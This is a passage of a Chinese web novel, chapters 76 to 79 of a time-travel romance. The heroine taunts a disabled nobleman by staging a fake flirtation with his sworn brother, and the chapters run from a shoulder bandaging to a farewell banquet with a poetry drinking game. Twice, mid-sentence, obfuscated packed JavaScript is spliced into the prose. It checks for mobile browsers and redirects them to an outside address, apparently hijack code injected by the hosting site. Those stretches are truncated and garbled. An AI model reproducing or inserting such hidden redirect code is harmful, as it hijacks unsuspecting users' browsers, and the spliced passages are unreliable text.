“谁说我接受他了?我只不过是给他个机会,允许他追我。至于追不追得上,那还要看他的本事。毕竟,和他竞争的人并不少,就算公平竞争,他也未必能拔得头筹。” “叶姑娘外表倾国倾城,追求者众多,从中挑选最优之人也无可厚非。不过,怜汝之貌者虽多,从汝之心者寥寥,还望叶姑娘好自为之。” 叶之萤撇了撇嘴,并不赞同他的话:“我对男人的要求不高,只要有一两样打动我的优点,能为我提供情绪价值就够了,比如年纪小、个子高,或者长得帅、身材好,或者嘴巴甜,不惹我生气,或者能在危险来的时候护住我、抱紧我……毕竟人与人之间的保鲜期只有三个月,什么东西一旦过了保质期,就不再新鲜了,我从来就没想过要跟谁天长地久,玩玩儿而已,那么认真做什么?不过,还是谢谢你的提醒!” “叶姑娘的爱情观还真是让人耳目一新。”她当然听得出来,他在讽刺她。 “这有什么奇怪的。你没听过吗?男人如衣服,常换常新!当然要趁年轻多尝试一些不同的款式。”她不以为然。 她的这几句话真的气到他了。在她说完后,他使劲吸了几口气到胸腔,连带着整个身体都有了起伏,不禁让她联想到一个著名的表情包——一头气得鼻腔喷火的牛。 她继续说道:“其实我最近也就自己之前的行为做了深刻的反省,我这个人吧,就是容易动情,以前拍戏的时候也跟一些男演员们走得比较近,都是些血气方刚的年轻人,在剧组一关几个月,自然无聊嘛!大家各取所需,相互慰藉,戏散了关系也就散了,谁也不用对谁负责。但你和他们不同,你对我那么好,在感情上那么单纯,身体又不好,我实在不该连你都不放过……” 她的话犹如一根带刺的鞭子,每一鞭都精准地抽到温其玉心尖。他不断地调整着呼吸,试图让呼吸带走他心上的疼痛。 叶之萤怀疑他的后槽牙就快被咬碎了,因为她分明听到了从他口中传来牙齿摩擦的声音。 “阿……嚏!”话音刚落,她就打了一个货真价实的喷嚏,打得她差点岔气。与此同时,右肩狠狠地震了一下,又一阵剧痛袭来,疼得她眼泪都飙了出来。 莫不是连老天爷都听不下去她的话了? 眼前的人淡漠地瞥了她一眼,开口道:“我对你的这些事一点也不感兴趣,你无须再说,检查伤势吧。” 76. 挑衅 温其玉慢慢将头向前探,一边指挥她活动胳膊,一边仔细地为她检查,情绪稳定得好像刚才的事都没发生过一样。但他的表情却格外凝重,整个人透露出一种不怒自威的庄严,看到他的脸,叶之萤全然没有了刚才胡说八道的勇气。 她想到了上次温其玉为自己治疗脚伤,那时,她刚刚变回自己的模样,他们之间的关系还是那么融洽,怎么现在就恨海情天了呢? 又因此联想到令一件事,他是这世上唯一一个亲眼看到她是怎么穿越而来的人啊!其实对于那一幕,她自己也充满了好奇。 “温其玉?”在犹豫了很久要不要开口后,她还是开口叫了他。 如她所料,他甚至都没抬眼看她一下,显而易见的不耐烦。 她还是厚着脸皮说了下去:“我有个事想问你,也只能问你。” …… “问完这个之后,我再也不烦你了。” “问。”他惜字如金。 这……在他心里难道自己就这么讨人厌? 她差点又要火冒三丈了,硬是在心里把火憋灭了才开口。 现在不是计较这个的时候。 “你当时,看到我……是怎么来的了吗?” 面对她突然抛出的这个问题,他明显愣了一下,而后目光先是从她肩膀收回,又深远地望向她身后的某处,陷入了沉沉的回忆。 “那日,你就趴在床边,我看着你慢慢闭上眼睛,越来越虚弱,最终一动不动。就在我以为你……突然,李渔的身体渐渐模糊,慢慢地,好像有另一个人的身体与她的身体重叠,那人穿着微微泛光的裙子,我眼看那光芒越来越明亮,最终完全取代了李渔的身体。当时的我完全震惊于眼前的魔幻景象,还没意识到到底发生了什么事,直到确定趴在床沿的人完完全全变成了另外一个人,才意识到,李渔已经彻底走了,而眼前的人,或许才是真正的你。没过多久,你就再一次醒过来了。” 讲到这里,他深深吐了口气,似是对她的失而复得如释重负,又心有余悸。 “假如当时来到你面前的人不是之前跟你朝夕相处的叶之萤,而是另一个完全陌生的女人,你对她,还会像对我一样好吗?” 他将头埋了下去,肢体语言告诉她,他在回避这个问题。 最终,她也没有等到想要的答案。 鼻腔里涌上一股酸意,她使劲将它忍了下去,那股酸意却又从嘴里冒了出来:“温少爷人美心善,神仙下凡,自然对谁都一样好。” 他依旧没有回答。 “检查好了吗?”她主动转移了话题。 “嗯。”他点头道,“右肩需要固定几日,以防你再乱动。” 替叶之萤检查肩膀时,为了看得清楚,他必须要让自己的头暂时离开依靠的床头,靠近她的肩部。头部没有了依靠,他的身体全靠仅有的一点点腰力支撑,而从他现在有些歪斜的姿势可以看出,他已经力竭了。 “必须固定吗?我不动行不行?” “若你真能做到不动,这伤恐怕早就好了,也不会加重到如此程度。” …… 叶之萤无力反驳。 “先把衣裳穿起来,我叫阿力来给你固定。”他没有办法将已经歪斜的身体摆正,只好把头重新靠回床头,让身体不至于继续扭曲。 而且他在说这话时,她总觉得他的身体里有一股无名的火气在往外涌。 看他坐得那么难受,她于心不忍,便想着扶他坐正,谁知刚伸出的手还没碰到他的身体,就被他警告:“别碰我!” 她的手又一次定在了空中,就在离他的身体不足五公分的地方。 叶之萤收回手,笑着道:“还是叫若飞来替我包扎吧。” “若飞?”他果然被她突如其来的暧昧称呼刺痛了。 她继续刺激他:“他的双手那么灵活,有你的指导,肯定可以的。” 对面的人强行咽下一口气,咬牙道:“当然可以,请先将衣裳穿起,以免着凉。” 虽说是一句关心,但他的语气却莫名让叶之萤联想到服务大厅的电子叫号系统,尽责却冷漠。 很快,阿力就准备好了两片薄木板和一些素色麻布,让关若飞和柳儿拿了进来。 在温其玉的指导下,关若飞颤抖着双手为她固定肩膀,柳儿力气小,只能从旁协助,打打下手。 由于不熟悉步骤,又怕弄疼她,原本十来分钟搞定的事情被关若飞弄了快一个小时才好,疼得叶之萤吱哇乱叫,眼泪乱飙,中途几次哭着喊着不固定了,硬是被三人连哄带劝才总算配合到最后。索性关若飞的手艺还看得过去,包得不算难看。 “谢谢啊!”叶之萤满头大汗,为了气到温其玉,她刚刚可是受了大罪!正所谓杀敌一千,自损八百,闹到如此两败俱伤的局面,到底是为了什么?她不禁觉得有些可笑。 柳儿帮她套上袖子,整好衣服。塞在袖子里那张福裕绸庄的取衣单却在此时掉在了床上。 “少爷,这是……”柳儿不识字,以为是自家少爷的东西,便捡起那张纸直接递到了温其玉面前。 温其玉对着那张纸定睛一看,眼里突然有了一瞬的失神。 “这是我的!”她把取衣单抽过来,重新装回袖子里。 “若飞送我的。”她又补了一句。 “哦……是啊,就是那日我们一起去挑的那套。”关若飞立马接收到了信号。 “是吗?”他的语气与其说是在问二人,倒更像是在自言自语。目光从床尾扫过,像是笑了一下,又好像仅仅是嘴角不明显的抽动而已。 叶之萤正要告辞,肚子又不合时宜地叫了起来…… 这一番折腾,她也确实饿了。 而这并不明显的声音又被机灵的关若飞捕捉到了,他就势吩咐柳儿:“把饭都端至叶小姐房里!去吧!”转头又对叶之萤说,“夜莺,你不巧伤了右臂,不方便夹菜,还是我和你一起吃吧,我可以帮你夹菜,或者……如果需要的话,我也可以喂你吃!” …… 戏过了吧!叶之萤一整个五雷轰顶! 还没感受到温其玉的醋味,关若飞身上一股子油味就扑鼻而来了。 但一想到这样能刺激到温其玉,她也乐得配合:“好呀,看你今天表现不错,给你个献殷勤的机会!” 说完,往床上偷瞟一眼,那人如今紧闭双唇,脸色铁青,说不上是因为劳累导致的身体不适还是因为听了他俩的对话而引起的胃部不适,他坐在那里,就像一头即将与对手决战的狮子,让人只看一眼就心生胆寒…… 叶之萤从来没有感受过如此具有杀伤力的低压,屋子里的空气好像都要被他抽干了。如果此时床上的人突然看她一眼,她一定会被他吓到立马撤退,还好他没有看过来。 温其玉身上的威压感不是刻意装出来的,而是由内而外、与生俱来的,与他冷峻凌厉的外表有种天然的契合,而那些曾经辉煌的沙场历练又将这种气质滋养壮大。以往他在叶之萤面前都会将这一面有意无意隐藏起来,很明显,现在的他一点也不想伪装了。 叶之萤突然无比佩服自己刚才反复在他面前作死的勇气。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“兄长嫉妒我!”说完这句话,意识到自己声音太大了,他将身子前倾靠近她,压低声音继续说,“刚刚给你包扎的时候,我发现他好几次对我流露出厌恶的表情!他显然清楚自己不该那样,已经在极力地控制情绪,都是些很细微的表情,你没发现也是正常的。并且,在包扎的时候,他一直紧张地盯着我的手看,好像生怕我会对你做点什么似的,他不光嫉妒我,还防着我!” “真的?”虽然关若飞无端遭遇信任危机确实值得同情,但听他这么说,叶之萤总觉得有种莫名的喜感,忍不住笑了出来。果然,人类的悲喜并不相通。 见叶之萤不安慰自己反笑话自己,关若飞瞪着眼睛假装生气:“夜莺,兄长从前可是很疼爱我的,我是他最信任的人,他从未如此对待过我!如今我为你得罪了兄长,你预备如何报答我?” “让你受委屈了!我请你吃饭,地方你定,怎么样?” “一言为定!” 这顿饭吃得欢乐极了,二人一边聊一边笑。孰不知,门外的柳儿已将她所听到的内容一五一十汇报给了隔壁的人。而柳儿所听到的,也并不是完整的对话,她的断章取义,不仅没能说明叶之萤与关若飞之间的清白,反倒间接佐证了二人的亲密关系。 后面的一些时日,她刻意没有去找温其玉,而是先休养了几日,等右肩的伤好了七八成,除了去布庄工作的日子,几乎天天跟着关若飞外出,以叶公子的身份把黎城逛了个遍。酒肆茶楼、勾栏瓦舍、摊铺夜市,经常玩到半夜才回去。 就这样,在这里挣到的六十多两银子短短十来天就花掉了十多两,实在让她肉痛得不行! 她很想知道温其玉对她如今的行为会有什么反应,却始终没有机会知道。直到那日,她兑现诺言请关若飞在黎城一家江南风格的酒楼吃饭,关若飞突然告诉她自己要回京一段时日…… 77. 爱是忍不住的心软 “夜莺,后日,也就是七月初二,我要回京一趟。”关若飞边说边为她倒了一杯榴花酒。 “怎么这么突然,什么时候再回来?”这个消息令她大为意外。 “我家中小妹八月十五办定亲礼,我作为大哥,必须得回去。不过你放心,等定亲礼成之后,我会再回来的。” 在古代,定亲的重要程度堪比结婚,作为哥哥,他是一定要回去的。 “那你就安心回家处理妹妹的婚事吧,不用着急回来,我的事我可以处理的,你放心吧。” 他笑着点头:“希望再回来时能听到你与兄长的好消息。” 而叶之萤的信心已经被温其玉打击得所剩无几了,怏怏道:“我都快没自信了!我们演了这么多天,他到底什么反应啊?” “这几日,我倒是去过兄长房里几次。” “怎么样?快说!”叶之萤赶紧放下茶杯。 “还记得我与你听戏那日吗?听完戏之后,我们又去香雪山下的明湖泛舟,返回温宅已是子时。回房后,兄长让阿力叫我去他房里,说是有蒙州的事要与我详谈,我便去了。结果去了之后,蒙州的事压根没提,支支吾吾半天,居然就问我这几日都干什么了!既然他问了,那我就给他讲了讲我和你一起都做了什么,当然了,免不了添油加醋一番!”说到这里,他不免得意起来,“比如,我们一起泛舟湖上,望着朦胧的月光畅谈人生理想;再比如,与你饮酒对诗,你喝得微醺,迷蒙的双眸深情与我对望;又比如,你被乐坊的琵琶曲感动得泪眼婆娑,我便用手帕轻轻为你拭去眼泪。” “什么呀,不过就是正常跟你划个船、喝个酒、听个曲儿罢了,怎么从你嘴里说出来就变得这么……这么……恶心呢!” “你还嫌恶心?若不是我脑筋转得快,能逼得兄长在我面前失态吗?”他一副委屈巴巴的样子。 “他怎么失态了?”她一下子来了精神,眼睛都泛起了光。 “外表看起来倒是没有太大的情绪波动,就是好像失了魂一样坐着发呆。第二日一早,他问我何时回京,还交代阿力一定替他将小妹的贺礼备好。可前一晚,我明明已经告诉过他回京的具体时间,阿力也回禀他已将贺礼悉数备好。由此可见,那晚我们后来说的话他是一句也没听进去。” “那他有没有单独问到我,或者提到我的伤?” “好像……没有。兄长要是直接开口问你,那不是坐实了他还放不下你吗?他要是不想知道你的情况,至于大半夜叫我去他房里旁敲侧击问话吗?至于你的伤,有你房里那个柳儿,怎么可能瞒得过兄长?夜莺,这几日我们如此演戏,兄长心里定是不好受的。兄长前半生受了太多苦,这样欺骗他,我也于心不忍。所以,你们定要有个好的结果,才不枉我这一番善意的欺骗!”他拿起手中的酒杯,与她干了一杯。 “若飞,大恩不言谢,千言万语,都在这杯酒里了!”叶之萤又自斟了一杯酒,一仰头,将杯中酒一饮而尽。 七月初一傍晚,温其玉在温宅为关若飞办了一个简单而又奢华的送行宴。叶之萤被迫出席。 说它简单,是因为这顿饭就在温其玉房里吃,并且只有三个人。 而说它奢华,原因有二。 第一,是这顿饭菜全部是平时很难见到的高端食材,每道菜量都不大,却足足有十六道菜。 第二,是温其玉为关家小妹订婚准备的贺礼极尽奢华。 白玉雕成的大雁一对,象征爱情如大雁般忠贞不渝;蜀锦二十二匹;鹿皮六张;紫檀雕龙凤纹镶宝石屏风两架;百鸟朝凤苏绣帷幔八块;黄金千锭。 听得叶之萤瞠目结舌。不说别的,就说这黄金千锭,就算八百块一克,一锭就要四万块! 叶之萤知道他有钱,却不知道这么有钱。以前她觉得,温其玉可能和上辈子的自己差不多有钱,如今看来,还是保守了…… 温其玉身着长袍坐在轮椅中,和他们一起围桌而坐,他还是像之前一样,只是坐着,却不吃饭。 他有他的坚持,他们也便不勉强,只是,若是她和关若飞风卷残云,让他一人干坐着,未免冷落了他。于是,关若飞提议大家一起玩个游戏,就玩飞花令,输的人喝酒,温其玉不能饮酒,由阿力代替。 “可是我也背不出几首诗啊,看来今晚这酒要被我包了!”叶之萤直接把酒壶提前挪到了自己面前。 关若飞摆手道:“无妨,重在尽兴,不如你先来出题。” 叶之萤预言得一点没错,即使她已经把平生所学的诗词全在脑子里搜刮了一遍,却仍不及他们十分之一。 如此玩了七八个回合,每次输的都是她,虽说输赢不重要,开心才重要,但眼看另外两人滴酒未沾,自己的胃却已经快被酒灌饱了,哪还能开心得起来…… 可关若飞不仅没看出她的郁闷,还在旁边一直起哄,又是鼓掌又是大笑的,兴奋得像花果山里迎接大圣归来的猴子猴孙似的,还摩拳擦掌跟阿力打赌下一局她肯定接不到三圈。 叶之萤对他的情商实在无语,瞪了他一眼,心想活该找不到女朋友! 她被打击得有些玩不下去了,另一方面,脑子里本就不富裕的“存货”也全都掏空了。可她又不想在饭桌上扫了大家的兴,只得硬着头皮继续玩。 恰好这一局轮到温其玉出题,他的题目是数字,随后他先说了一句诗:“花间一壶酒,独酌无相亲。” 叶之萤一听,反应过来这首诗的下半句也有数字,赶紧顺势接上:“举杯邀明月,对影成三人。” “八月湖水平,涵虚混太清。”关若飞轻松接上。 温其玉:“天生丽质难自弃,一朝选在君王侧。” 巧了不是! “回眸一笑百媚生,六宫粉黛无颜色。”说完,她得意地瞪了关若飞一眼。 “兄……”关若飞看了眼一旁泰然自若的温其玉,举言又止,继续接道,“白发三千丈,缘愁似个长。” 温其玉:“天生我材必有用,千金散尽还复来。” 又给了叶之萤提醒:“烹羊宰牛且为乐,会须一饮三百杯。” 眼看叶之萤已经稳稳接了三圈,关若飞有些急眼了:“千山鸟飞绝,万径人踪灭。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991700|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “解落三秋叶,能开二月花。”温其玉淡定道来。 “过江千尺浪,入竹万竿斜。”叶之萤继续接上了第四圈,而后朝关若飞得意地一挑眉。 第一圈的时候,叶之萤只当这是个巧合,但是现在她已经十分确定,温其玉是故意的! 早来这世上几年,果然比毛头小子更解风情。 “谁言寸草心,报得三春晖!”关若飞被激起了斗志。 温其玉:“一道残阳铺水中,半江瑟瑟半江红。” 叶之萤:“可怜九月初三夜,露似真珠月似弓。” “兄长,不可作弊!”关若飞终于忍不住了,提醒温其玉。 “哦?我有吗?”温其玉当然不承认。 “怎么没有?每首诗都是你说上半句,夜莺接下半句,你们若是二打一,我还如何与你们玩?”关若飞很是不服气。 “碰巧而已,这也不可?”这么明显的放水,温其玉却解释得脸不红心不跳,那样子简直与平时在叶之萤面前嘴硬时的姿态一模一样! 没有了温其玉的助攻,叶之萤很快就又败下阵来。她已经连喝十几杯酒了。可对于在酒桌上拼杀出来的女明星来说,这根本不算什么。她再次出题:“我的题目是颜色……” 数圈过后,温、关二人还很轻松,唯独叶之萤,诗词储备早就和面前的酒壶一样见底了。 “青……蓑衣,不对,青箬笠,绿蓑衣,斜风细雨……斜风细雨什么来着?不……不须归!”总算又搜肠刮肚拼对了一句。 关若飞轻松跟上后,温其玉却意外卡了壳。 “兄长,该你了!”关若飞提醒他。 “我输了。阿力,罚酒。” “哇!”早已蔫得像脱水青菜似的叶之萤突然又来了精神,激动地给阿力倒酒,“一晚上了,总算赢了一回!” 无意向对面瞥了一眼,温其玉居然也在笑。输了还这么高兴? 但她很快就意识到这当中的漏洞,温其玉怎么可能答不上来? 之后,温其玉又输掉了两次,每次都是输给她。 叶之萤心里有些情绪开始翻涌。倘若这个人的心能再狠一些,狠到彻底对她的一切情绪都视而不见,狠到真的像个陌生人那样,她或许也就不再坚持了。可是他终究还是狠不下心来,一面在嘴上说着狠话,一面又在行为上忍不住要护她平安、哄她开心。这样口是心非的他,她如何放弃得了? 叶之萤早已看透了他的心软,所以才会常常在他面前撒娇、发火、惹他生气、害他担心,只为逼他妥协或心疼。而温其玉明知她的心思,却仍然次次低头认输。二人的关系就如那日升日落、四季更迭般周而复始地循环着、拉扯着…… 月亮不知何时已爬上了墨蓝的天空,从开着的木窗向外望去,月牙皎白,浮云流动,树影如墨,窗外一片安宁。 阿卓在一旁小声提醒关若飞:“衙内,明日一早还要赶路呢。” “行了,知道了!”关若飞一脸不情愿,指着悬在天空的那轮弦月说,“再玩最后一局,就以月为题,如何?夜莺,你先来。” 78. 当时只道是寻常 窗外那轮弯月一会儿躲进云里,一会儿又露出尖尖的脑袋。这是千年前的月,又何尝不是千年后的月。千万年来,世间一切繁华盛景、英雄豪杰都在它的凝视下如浪潮般一波接一波地涌起,再一波接一波地退场。 叶之萤突然回忆起多年前的一个夜晚,她独自一人坐在学校里的湖边,看着湖面上那弯月牙倒影随着水波荡漾一会儿被压扁,一会儿又被拉长,看了很久很久……也是在那晚,站在人生十字路口的她做了一个非常重要的决定,正是那个决定,让她自此走上一条传奇之路。而今,斗转星移、物是人非,这轮明月依旧幽然悬于天空,默默地凝视着她的第二次生命…… 她不禁有感而发:“今人不见古时月,今月曾经照古人。” 闻言,温其玉也扭头望向那弯明月若有所思。他身着墨蓝色蜀锦长袍,锦缎本身的光泽和花鸟纹刺绣所用的银线在月色和烛光的双双映衬下盈盈流动,让他整个人看起来都温柔了许多。总是心事重重的眉头得以片刻舒展,而那总是对她躲闪的双眸也被温柔的月光覆上了一层难得的平静。 关若飞亦抓起酒杯:“古人今人若流水,共看明月皆如此。敬我们有幸共赏同一轮明月,敬我们有缘在此相遇!” 温其玉看了眼桌上的酒樽,将右手慢慢抬到了桌边,阿力见状赶紧将酒杯挪到他手边。他的手指慢慢捏上杯体,抬眼看着眼前的二人,娓娓说道:“唯愿当歌对酒时,月光长照金樽里。” 叶之萤与关若飞也赶紧端起酒杯,站起身,与他手中的酒樽轻轻碰杯,将杯中酒一饮而尽。 “兄长,按你如今这个康复速度,恐怕等我下次再回来,你就能像儿时那样,一把拎起我了!”关若飞讲得声情并茂,惹得大家都笑了起来。 温其玉听他这么说,也是一脸无奈。 “看来你小时候没少挨打!”叶之萤看热闹不嫌事大。 “谁儿时没挨过揍?”他说得理所当然。 “这话说的,没挨过揍的多了,我就没挨过。” “我不信,你生性如此……倔强,难道你爹娘没被你气过?怎么可能没挨过揍!” 叶之萤摸着自己的脸得意道:“我这么好看,谁舍得打我?” 关若飞的目光忽地在她脸上滞住,带着浓浓的深情,他演得极好,令叶之萤都有些恍惚,他是不是真的放下了? “夜莺,我此行定会尽早归来,你一定要等我!”他倒是十分入戏,都这会儿了还不忘再演一出。 叶之萤一挑眉:“那我可不能保证。” “什么?”关若飞一听就炸了毛,忙拜托一旁的温其玉,“兄长可要帮我好好看住夜莺,不能给其他男子可乘之机。另外,定要替我好好照顾她,我此次回京,除了处理小妹的定亲事宜外,还打算告诉我爹娘,我也要娶亲!” 桌上的那只手突然脱力坠下,手指间的那盏酒杯亦被一同带了下去,又与轮椅扶手相撞。顷刻间碎片飞溅,一抹鲜红从那消瘦的手腕涌出。 “少爷!”身后的荣祥惊呼。 阿力立刻跑去取药,关若飞和叶之萤也赶紧放下酒杯凑了过去。 “无碍,只是小伤。”温其玉一边宽慰二人,一边试图用衣袖遮住伤处。 “快让我看看!”叶之萤一把拽住他的手,掏出手帕想为他止血,可手刚按到伤处,她就被荣祥一把推开。 荣祥的力度并不大,本不足以让她摔倒,可不巧的是,身后挡着的一把凳子却绊倒了她。 关若飞赶紧将她搀扶起,紧张地问她:“夜莺,有没有事?” “没事,不要紧。”她轻揉了下后背,摇头道。 一向包容的温其玉却在此时换了面孔。 “你想做什么?”阴冷的目光攀上了荣祥的脸。 “少……少……少爷,我……我……”荣祥自知闯了大祸,已吓得魂飞魄散了。 荣祥讨厌她,这是叶之萤和温其玉都知道的事。他忠于温其玉,觉得她是红颜祸水,是他家少爷一切痛苦的源头。 刚刚推她那一把,叶之萤相信是夹杂着个人情绪的,但若是因此就说荣祥有心害她,故意让她受伤,叶之萤是不信的。他所谓的讨厌,顶多就是当面瞪她两眼,或者在心里骂她几句罢了。他没有胆子、更无心伤她。这完全是个意外。 “别怪他了,刚才大家都着急,他只是不小心碰倒了我,不是故意的。”她替荣祥解围。 荣祥扭过头来,满脸讶异,似乎是没想到她会替自己说话。 “是这样吗?”温其玉的声音依旧冰冷。 荣祥不敢解释,低着头一言不发。 “我是被身后的椅子绊倒的,不是他,还是先让阿力给你包扎伤口吧。”说完,她又用手顿了顿关若飞的衣角,关若飞立刻心领神会,“是啊兄长,还是先为你止血吧。” 温其玉的手腕并未伤及要害,且划得不深,简单包扎后,大家心中的石头也都落地了。 “若飞,明日一早你便要出发,今日就到这里吧,你早些回房歇息。”温其玉主动结束了这场筵席。 叶之萤也准备回房,却被温其玉叫住:“叶姑娘留步。” “有事吗?”她停下脚步。 温其玉没回答她,反倒支走了阿力,又转头对荣祥说:“去领罚吧!” 荣祥平日里对他忠心不二,工作尽职尽责,即使刚刚推她那一下,也是替他鸣不平,却要遭到惩罚。这个人有时候理智得没有一点人情味,对别人、对自己都是如此。 可叶之萤这辈子偏偏最讨厌感情用事之人。当初,就是温其玉身上的理性深深吸引了她,令她爱得更深,也陷得更深。但也正是他的理性,让她对他的追求屡战屡败。 有那么一段时间,这间屋子里总是只有他们二人。彼时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过……”她话音一转,“我也要提醒你,作为若飞的兄长,和我相处也请注意分寸。把我一人留在你房中,还提出要看我的身体……这样的行为似乎有失君子之礼。” 被她一席话顶了回去,温其玉的目光又垂了下去,重新看回她衣袖的某一角,再不言语。 叶之萤的心又乱了。一方面,她突然对自己刚刚说那些话扎温其玉的心有些后悔,但另一方面,又觉得比起温其玉对自己发的那些狠,对他说几句不痛不痒的话算什么伤害? “叶姑娘说得对,是我有欠考虑,还请叶姑娘莫要见怪。要是没别的事,就请回房吧。”他果然不再与她纠缠,只是从头至尾,他都没有抬眼看过她一眼。 “那我回房了,晚安。” 那天夜里,柳儿主动拿了药粉过来,为她包扎了伤口。她知道这药从何而来,却没有推辞。那药接触在伤口上格外刺激,痛得她连脑子都比往常清醒了不少。 温其玉如今与她独处一室时,甚至连正常看她一眼都不敢,他已经不能再像从前那样游刃有余地看着她的眼睛说那些骗人的鬼话了,这足以说明,他的心里防线已在瓦解边缘。这让她很是兴奋,在心里暗暗发誓,两个月必须拿下温其玉!却没料到,温其玉的崩溃比她预想的来得更早…… 79. 压抑许久终失控 第二日天还未亮,关若飞就出发了,叶之萤和温其玉本想将他送至城外,他执意不肯,最后只好在温府门外与他告别。 福裕绸庄新买的那套衣服早前几日就做好了,今日叶之萤特意穿在身上,粉色上衣,外加翠绿色罗裙,美得就像那池中的莲。 “一路平安!”她走到关若飞面前,礼节性地拥抱了一下作为告别。 关若飞诧异地愣在那里:“你这是?” 她拍了拍他的后背,将手收了回来:“这就是我们那儿的一个礼节,习惯了,没别的意思,你别多想!” 关若飞在她耳边小声嘀咕:“你应该让兄长别多想才对,他现下的眼神好像要吃了我。我这是造了什么孽,要被兄长如此憎恨!” 叶之萤“噗嗤”一声笑了出来,继续和他耳语:“当初是谁大义凛然说一定要帮我们的?我连拦都拦不住。既已入局,现在后悔可晚了!”又故意大声道,“我还等着你回来娶我呢!” 温其玉在她身后,因此她看不见他此刻的神情,但关若飞正好面对着他,只见关若飞脸上笑容渐渐凝固,嘴角也逐渐僵硬:“我敢保证,咱俩要是继续这样耳鬓厮磨,我肯定没机会回来娶你了。” “好啦,不开玩笑了,真的谢谢你!”她又抱了他一下,作为对他的感谢。 “真想谢我,下次回来,我要听到你和兄长的好消息!” “放心,尽在掌握中,绝不辜负你的付出!不早了,快上车吧!” 一番话说完,她与关若飞一直紧贴着的脸颊这才分开。 目送关若飞上了马,她向后退了几步,退回到温其玉身旁,装作若无其事地看了他两眼。 他的脸色看起来阴沉得过分,就像暴雨来前的天空,看似平静,却灰暗压抑得让人喘不过气。就连关若飞回头跟他们挥手再见,他都没有再展露出一丝笑容,甚至对着那马车翻了个白眼…… 关若飞一行人的车队很快就拐进了远处的街角,再也看不见了。 这半个月来,叶之萤与关若飞成为了无话不谈的好友,这让她原本无聊的生活变得有趣了许多,追求温其玉也不再是一件令她头疼的难事。可他这一走,她又得独自面对温其玉这个难啃的骨头了,想到这里,她忍不住叹了口气。 “他走了,你不舍得?”身边传来温其玉的阴阳怪气,他没有像平时那样称呼关若飞为“若飞”,而是用了“他”这个字。 其实,他完全可以什么也不说,就像他原本计划的那样,将对她的感情严严实实地包裹起来,不露分毫,这样她便永远也抓不住他的把柄了。可即使他有着钢铁般的意志,能忍得了李渔为他下的迷情之毒,忍得了用腥月草解毒时的身心摧残,也还是忍不了叶之萤和关若飞在他面前亲昵。看着自己所爱之人就在自己面前和另一个人耳鬓厮磨、难舍难分,他终究还是短暂地抛弃了理智。 “你不是他兄长吗?怎么好像对他的离开没有半分不舍?”叶之萤明知故问。 “他回家而已,我有何不舍?倒是你,与其特意穿着他送的衣裳在这里长吁短叹、独自伤怀,倒不如与他同去,届时关府兄妹一同定亲,双喜临门,岂不乐哉!”他的语气冲得很。 眼看他已经要憋疯了,叶之萤更加来了精神:“我怎么感觉你有点讨厌若飞?” “怎么?你心疼了?”在她的不断拱火下,温其玉彻底失了理智。 叶之萤弯下腰,使劲闻了闻他四周的空气,然后夸张地叫了起来:“哎呀呀,快闻闻,这是谁家醋坛子打翻了吧?怎么这么大的酸味儿啊?” 身边的阿力实在憋不住了,差点笑出声,赶紧用一声咳嗽掩盖,被温其玉回头狠狠瞪了一眼。 眼看轮椅上的人脸色愈发阴沉,好像正在酝酿一声巨雷,阿力惶恐地对叶之萤使眼色,提醒她别再惹他。 叶之萤自然不管,她就是故意要让那人生气,就是要让他明白一个道理,他温其玉并没有自己以为的那样厉害,他不过就是一个有着七情六欲的凡人,别把自己搞得像个修无情道的天神似的非要断情绝爱! “对了阿力,有笔和纸吗?”她问阿力。 “少爷房里有,怎么?”见她终于口下留情不再刺激某人,阿力松了一口气。 “我要给若飞写封信,现在写的话,等他回到家,应该就能收到了吧?”说这话时,她眼泛桃花,一副少女怀春、春心荡漾的样子。 “这……”阿力那刚平复一些的心情瞬间又被她的话吓得再度凌乱,他实在想不明白,这位叶小姐为什么非要一直往自家少爷的雷点上踩。 “那你可要写快些,若飞骑马很快,不日便能回京。”温其玉不屑地瞥了她一眼。 “是啊,他骑马的样子可潇洒了,我就喜欢他骑马的样子。”她笑着朝他翻了个白眼。 周围流动的空气因她这句话而凝固,阿力也停下了脚步,错愕地看着她。 “阿力,回房吧。”轮椅上的人语气淡淡的,完全没有了刚才的戾气,似乎是无力再与她斗下去,所以低头认输了。 这股伤感好像一缕看得见却抓不到的轻烟,瞬间便在四周弥漫开来,与周围的空气交融在一起,又被叶之萤进入肺里,跟着血液来到心脏,叶之萤的心便跟他一起伤感起来。 “等等!”她叫住了他。 “叶姑娘可还有事?”阿力停下了脚步,温其玉则背身而坐,没有回头。 “那张垫子,既然你不用了,就还给我吧。” 似是因为背部无力,此时,靠坐在轮椅里的人身体明显沉了一下。 “好,我不日便让浣衣房清洗干净,送到你房里。” 这一日,二人都待在各自的房里,谁也没有再跟对方说话。 叶之萤自己也想不明白,明明互相喜欢的两个人,为什么非要互相伤害? 炎夏季节,屋里酷热难耐,夜里叶之萤翻来覆去都睡不踏实,不知被热醒了几次。大约凌晨两点钟,她又一次被热醒,便走到窗边将紧闭的窗户打开。刚一开窗,就听见隔壁似有说话声,心想温其玉竟然还没睡?再竖耳细听,好像是阿力在说话,不像是正常的聊天,倒像是在哀求什么。 她一时好奇,便出门去看看。隔壁的房门竟然还大敞着,她偷偷探头往里一看,就吓了一跳! 阿力手里拿着的,分明是一壶酒!而温其玉正歪斜地靠在床上,脸色绯红,神情恍惚,一看便知喝了不少。 如果她没记错的话,酒精会影响他的大脑神经,进而影响他的身体恢复,他根本不能喝酒! 